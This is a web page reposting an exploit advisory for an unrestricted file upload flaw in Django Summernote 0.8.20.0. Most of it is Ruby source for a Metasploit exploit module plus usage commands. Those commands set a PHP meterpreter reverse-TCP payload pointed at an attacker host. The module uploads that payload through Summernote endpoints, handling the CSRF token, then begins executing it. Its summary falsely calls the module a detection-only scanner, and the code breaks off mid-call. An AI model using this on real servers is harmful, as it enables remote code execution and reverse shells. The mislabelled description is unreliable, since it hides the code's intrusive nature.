Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Django Summernote 0.8.20.0 Unrestricted File Upload Scanner
Django Summernote 0.8.20.0 Unrestricted File Upload Scanner
Django Summernote 0.8.20.0 Unrestricted File Upload Scanner

=============================================================================================================================================
| # Title Django Summernote 0.8.20.0 Unrestricted File Upload Scanner

=============================================================================================================================================
| # Title : Django Summernote 0.8.20.0 Unrestricted File Upload Scanner (Auxiliary) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://djangopackages.org/packages/p/django-summernote/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214231/

[+] Summary : This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote.
It targets misconfigurations where image validation depends on the Pillow library and allows non-image files to be uploaded when Pillow is missing.
The module safely scans common upload endpoints, handles CSRF protection, and confirms vulnerability by observing successful JSON responses containing uploaded file URLs.
It performs detection only, does not execute payloads, and is designed for safe, non-intrusive security assessment.

[+] Usage :


use exploit/unix/http/django_summernote_rce
set RHOSTS 192.168.1.100
set RPORT 80
set TARGETURI /
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST [Your_IP]
set LPORT 4444

check

exploit

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Django Summernote Unrestricted File Upload RCE',
'Description' => %q{
This module exploits an unrestricted file upload vulnerability in django-summernote <= 0.8.20.0.
The vulnerability occurs when the 'Pillow' library is missing from the server environment,
forcing the application to use a 'FileField' instead of an 'ImageField'.
This allows an attacker to upload arbitrary files (such as PHP shells).
If the media directory is misconfigured to allow script execution, Remote Code Execution (RCE) is possible.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['PHP Payload (Generic)', { 'Platform' => 'php', 'Arch' => ARCH_PHP }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-24',
'References' => [
['URL', 'https://github.com/summernote/django-summernote']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to the Django application', '/'])
])
end

def check
upload_paths = [
'/summernote/upload_editor_file/',
'/summernote/upload_attachment/',
'/admin/summernote/upload_editor_file/'
]

upload_paths.each do |path|
full_path = normalize_uri(target_uri.path, path)
res = send_request_cgi('method' => 'GET', 'uri' => full_path)

if res && (res.code == 405 || (res.code == 200 && res.body.include?('upload_editor_file')))
return Exploit::CheckCode::Appears
end
end
Exploit::CheckCode::Safe
end

def exploit
upload_paths = [
'/summernote/upload_editor_file/',
'/summernote/upload_attachment/',
'/admin/summernote/upload_editor_file/'
]

upload_paths.each do |path|
full_path = normalize_uri(target_uri.path, path)
print_status("Checking endpoint: #{full_path}")

res = send_request_cgi('method' => 'GET', 'uri' => full_path)
next unless res

cookies = res.get_cookies
csrf_token = res.get_cookies_parsed['csrftoken']&.first

filename = "#{Rex::Text.rand_text_alpha(8)}.php"
data = Rex::MIME::Message.new

if csrf_token
data.add_part(csrf_token, nil, nil, 'form-data; name="csrfmiddlewaretoken"')
end

data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files\"; filename=\"#{filename}\"")

print_status("Attempting to upload payload: #{filename}")

res = send_request_cgi({
'method' => 'POST',
'uri' => full_path,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookies,
'headers' => { 'Referer' => full_path }, # Referer is often required for Django CSRF
'data' => data.to_s
})

if res && res.code == 200 && res.headers['Content-Type']&.include?('application/json')
begin
json_res = res.get_json_document

file_url = json_res['files'] ? json_res['files'][0]['url'] : json_res['url']

if file_url
print_good("Payload uploaded successfully: #{file_url}")

register_file_for_cleanup(File.basename(file_url))

print_status("Executing payload via GET request...")
send_request_cgi({


Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================

Social Media Share